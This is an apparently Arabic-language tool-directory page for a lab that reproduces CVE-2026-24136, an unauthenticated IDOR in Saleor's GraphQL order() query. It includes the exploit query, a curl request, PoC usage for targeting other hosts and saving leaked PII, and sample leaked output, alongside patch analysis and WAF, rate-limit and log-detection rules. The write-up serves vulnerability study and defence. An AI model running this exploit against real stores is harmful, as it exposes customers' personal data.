Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | مختبر لاستغلال ثغرة IDOR في Saleor GraphQL - الاستعلام order() لا يتحقق من المصادقة، مما يكشف جميع معلومات التعريف الشخصية (البريد الإلكتروني، العنوان، رقم الهاتف) للعملاء. يتضمن بيئة Docker، وسكربت بيانات التهيئة، وPoC. CVSS 4.0: 8.7 HIGH. | Kitploit
أدوات/GitHubGitHub/blankbire/cve-2026-24136-lab
تحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار أمان APIاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | مختبر لاستغلال ثغرة IDOR في Saleor GraphQL - الاستعلام order() لا يتحقق من المصادقة، مما يكشف جميع معلومات التعريف الشخصية (البريد الإلكتروني، العنوان، رقم الهاتف) للعملاء. يتضمن بيئة Docker، وسكربت بيانات التهيئة، وPoC. CVSS 4.0: 8.7 HIGH.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 2 أشهرلم تتم المراجعة بعد

CVE-2026-24136 - تجاوز IDOR في GraphQL لـ Saleor / تسريب معلومات التعريف الشخصية (PII) بدون مصادقة

نظرة عامة

الحقلالتفاصيل
CVE IDCVE-2026-24136
نوع الثغرةIDOR - تجاوز التفويض عبر مفتاح يتحكم به المستخدم (CWE-639)
البرنامجمنصة التجارة الإلكترونية Saleor
الإصدارات المتأثرة3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
الإصدارات المُصحّحة3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
التأثيريمكن لمهاجم غير موثّق قراءة معلومات التعريف الشخصية (PII) (الاسم، العنوان، رقم الهاتف، البريد الإلكتروني) لأي طلب
هل يتطلب مصادقة؟لا

وصف الثغرة

يوفر Saleor واجهة GraphQL API لإدارة الطلبات في التجارة الإلكترونية. يسمح استعلام order(id: $id) باسترجاع تفاصيل طلب معين حسب المعرف العام (global ID). في الإصدارات المتأثرة، لا يتحقق هذا الاستعلام مما إذا كان المستدعي مخولاً لعرض ذلك الطلب.

يمكن لأي شخص، حتى المستخدم المجهول تمامًا بدون حساب، استدعاء هذا الاستعلام والحصول على كامل معلومات التعريف الشخصية للعميل: البريد الإلكتروني، الاسم الكامل، عنوان الشحن، رقم الهاتف، سجل تسجيل الدخول.


هيكل المختبر

root@kitploit:~
cve-2026-24136-lab/
├── docker-compose.yml          # بيئة المختبر (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # سكريبت التشغيل التلقائي (Windows PowerShell)
├── setup_lab.sh                # سكريبت التشغيل التلقائي (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # غلاف بدء التشغيل: تصحيح خطأ wsgi + gunicorn
    ├── seed_data.py            # إنشاء حسابات ضحايا وطلبات تحتوي على PII
    └── poc_cve_2026_24136.py   # إثبات المفهوم (PoC) للاستغلال

تشغيل المختبر

المتطلبات

  • Docker Desktop (Windows / macOS) أو Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

root@kitploit:~
# منح صلاحية التنفيذ إذا لزم الأمر
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# تشغيل الإعداد التلقائي
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

root@kitploit:~
chmod +x setup_lab.sh
./setup_lab.sh

يدويًا

root@kitploit:~
# 1. تشغيل الحاويات
docker compose up -d

# 2. الانتظار حتى تصبح API جاهزة (~60-90 ثانية)
#    التحقق: curl http://localhost:8000/health/

# 3. إنشاء حساب مسؤول
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. تعبئة المنتجات/القنوات
docker exec cve_saleor_api python manage.py populatedb

# 5. إنشاء بيانات الضحايا (حسابات + طلبات مع PII)
cd scripts
pip install requests
python seed_data.py

المنافذ بعد التشغيل:

الخدمةالرابط

استخدام إثبات المفهوم (PoC)

root@kitploit:~
cd scripts

# عرض الشرح التقني
python poc_cve_2026_24136.py explain

# استغلال من قائمة تم تعبئتها (مُوصى به - Saleor 3.x يستخدم معرفات UUID)
python poc_cve_2026_24136.py file order_ids.json

# استغلال طلب واحد باستخدام المعرف العام base64 مباشرةً
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# تعداد تسلسلي (يعمل فقط مع Saleor < 3.x الذي يستخدم معرفات أعداد صحيحة)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# تغيير عنوان API المستهدف
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# حفظ النتائج إلى JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

نموذج الإخراج

root@kitploit:~
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

تحليل السبب الجذري (Root Cause Analysis)

1. ترميز معرف الطلب (Order ID)

يستخدم Saleor "التعريف العام للكائنات" (Global Object Identification) وفقًا لمواصفات GraphQL Relay. يُعرف كل كائن بواسطة معرف عام بالصيغة:

root@kitploit:~
base64("<TypeName>:<internal_id>")

بالنسبة للطلبات في Saleor 3.x:

root@kitploit:~
# internal_id هو UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

ملاحظة: يستخدم Saleor 2.x معرفات أعداد صحيحة تسلسلية (Order:1, Order:2, ...) مما يسهل تعدادها.
انتقل Saleor 3.x إلى UUID لذا يحتاج المهاجم إلى الحصول على UUID بطريقة أخرى (تأكيد الطلب عبر البريد، تسريب الرابط، إلخ).

2. الكود المُسبّب للثغرة

الملف: saleor/graphql/order/resolvers.py

root@kitploit:~
# الإصدار المُعطّل (قبل التصحيح)
def resolve_order(root, info, id):
    """حل الطلب حسب المعرف – بدون أي فحص تفويض."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # أي شخص يستدعي يحصل على البيانات، لا فحص للمستخدم ولا فحص للجلسة

الملف: saleor/graphql/order/schema.py

root@kitploit:~
# تعريف الاستعلام، بدون إعلان صلاحيات
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # لا يوجد @permission_required، ولا أي حارس

3. استعلام GraphQL للاستغلال

الاستعلام المُرسَل لا يحتوي على رأس Authorization:

root@kitploit:~
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
root@kitploit:~
# الإرسال باستخدام curl، بدون رمز مميز
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# الاستجابة (بدون مصادقة):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. سير الهجوم

root@kitploit:~
مهاجم (مجهول)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (بدون رأس Authorization)             |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

تحليل التصحيح (Patch Analysis)

الالتزام الرئيسي للتصحيح (Commit patch chính)

الملف: saleor/graphql/order/resolvers.py

root@kitploit:~
# الإصدار المُصحَّح (>= 3.20.110)
def resolve_order(root, info, id):
    """حل الطلب حسب المعرف مع فحص تفويض كامل."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # الحارس 1: الموظفون والتطبيقات يمكنهم رؤية جميع الطلبات
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # الحارس 2: المستخدم غير الموثّق → يُرجع None (بدون خطأ لمنع تسريب وجود الطلب)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # الحارس 3: المستخدم الموثّق يمكنه فقط رؤية طلباته الخاصة
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

الملف: saleor/graphql/order/schema.py

root@kitploit:~
# إضافة تعليق توضيحي لتوثيق متطلبات الصلاحية
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

مقارنة قبل وبعد التصحيح

root@kitploit:~
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(بدون رأس Authorization)

─────────────────────────────────────────────
قبل التصحيح (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → تم تسريب PII

─────────────────────────────────────────────
بعد التصحيح (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → يُرجع null، بدون خطأ (مقصود – لمنع المهاجم
    من معرفة ما إذا كان الطلب موجودًا أم لا)
─────────────────────────────────────────────

تحليل تقني متعمق

لماذا يُرجع التصحيح null بدلاً من خطأ؟

إرجاع null بدلاً من PermissionDenied للطلبات غير الموثّقة هو تصميم مقصود:

  • إذا أُعيد PermissionDenied → يعرف المهاجم أن الطلب موجود (oracle الوجود)
  • إذا أُعيد null → لا يستطيع المهاجم التمييز بين "لا صلاحية" و"غير موجود"

هذه تقنية فحص وجود مقاومة للزمن (timing-safe existence check) مطبقة على مستوى GraphQL.

لماذا لا يزال المستخدم الموثّق يستخدم raise PermissionDenied؟

لأنه عند تسجيل الدخول، يساعد الإبلاغ الواضح عن الخطأ في التصحيح. لم يعد oracle الوجود مشكلة لأن:

  1. المستخدم الموثّق عادةً يعرف أن طلبه موجود
  2. المهاجم الموثّق يجب أن يكون لديه حساب → يمكن إلغاؤه، تتبعه، أو تطبيق الحدود

لماذا يصعب تعداد UUID مقارنة بمعرف الأعداد الصحيحة؟

root@kitploit:~
معرفات الأعداد الصحيحة (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → تحتاج O(N) طلبًا لتعداد N طلب
  → يمكن للمهاجم معرفة العدد الإجمالي للطلبات (بالبحث الثنائي)

معرفات UUID (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → مساحة البحث: 2^122 (UUID v4 يحتوي على 122 بت عشوائي)
  → القوة العمياء غير عملية عمليًا
  → لكن المعرف لا يزال يتسرب عبر: بريد تأكيد الطلب، رابط في لوحة التحكم،
    استجابات API، السجلات → إذا حصل المهاجم على معرف واحد، فلا يزال بإمكانه استغلاله

تفصيل ناقل CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – ناقل الهجوم: شبكة      (الاستغلال عبر الإنترنت)
AC:L  – تعقيد الهجوم: منخفض      (لا حاجة لظروف خاصة)
PR:N  – الامتيازات المطلوبة: لا شيء   (لا حاجة لحساب)
UI:N  – تفاعل المستخدم: لا شيء      (لا حاجة لتفاعل الضحية)
S:U   – النطاق: غير متغير            (يؤثر فقط على Saleor API)
C:H   – السرية: عالية       (تسريب كامل PII)
I:N   – السلامة: لا شيء             (لا يمكن تعديل البيانات)
A:N   – التوفر: لا شيء          (لا رفض خدمة)

التخفيف والدفاع

1. التحديث الفوري (أولوية قصوى)

root@kitploit:~
# التحقق من الإصدار الحالي
pip show saleor | grep Version

# الترقية إلى الإصدار المُصحَّح
pip install "saleor>=3.20.110"   # إذا كنت تستخدم سلسلة 3.20.x
pip install "saleor>=3.21.45"   # إذا كنت تستخدم سلسلة 3.21.x
pip install "saleor>=3.22.29"   # إذا كنت تستخدم سلسلة 3.22.x

2. قاعدة WAF مؤقتة (إذا لم تتمكن من التصحيح فورًا)

منع المستخدمين المجهولين من استدعاء استعلام order():

root@kitploit:~
# Nginx – حظر استعلام GraphQL order من الطلبات غير الموثّقة
location /graphql/ {
    # إذا كان رأس Authorization فارغًا وكان الجسم يحتوي على "order("
    if ($http_authorization = "") {
        # حظر الاستعلامات التي تشبه الاستغلال
        # ملاحظة: هذا حل مؤقت، لا يغني عن التصحيح
    }
    proxy_pass http://saleor_api;
}

مع AWS WAF / CloudFront:

root@kitploit:~
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

3. تحديد المعدل (Rate Limiting)

root@kitploit:~
# الحد من الطلبات من عنوان IP واحد بدون مصادقة
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

4. المراقبة / الكشف

علامات الاستغلال في سجلات الوصول:

root@kitploit:~
# الكشف: عنوان IP واحد يرسل العديد من طلبات GraphQL بدون Authorization
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # تنبيه إذا كان أكثر من 20 طلبًا من عنوان IP واحد

# الكشف عن نمط "order" في جسم الطلب بدون مصادقة
# (يتطلب تسجيل جسم JSON)

قاعدة تنبيه لـ Grafana / Datadog:

root@kitploit:~
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "محاولة استغلال محتملة لـ CVE-2026-24136"
  description: "معدل مرتفع من طلبات POST غير الموثّقة لـ GraphQL"

تنظيف المختبر

root@kitploit:~
# إيقاف وحذف الحاويات + وحدات التخزين (حذف جميع البيانات)
docker compose down -v

# إيقاف الحاويات فقط (الاحتفاظ بالبيانات)
docker compose stop

المراجع

  • نشرة الأمان من Saleor
  • OWASP - التحكم المكسور في إذن الكائن (BOLA/IDOR)
  • CWE-639 - تجاوز التفويض عبر مفتاح يتحكم به المستخدم
  • مواصفات التعريف العام للكائنات في Relay

تحذير: هذا المختبر مخصص فقط لأغراض البحث والتعلم وإعداد تقارير الأمان.
لا تستخدم إثبات المفهوم (PoC) على أنظمة إنتاجية دون إذن كتابي.

تنزيل الأداة
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
لوحة تحكم Saleorhttp://localhost:9000
المسؤول[email protected] / admin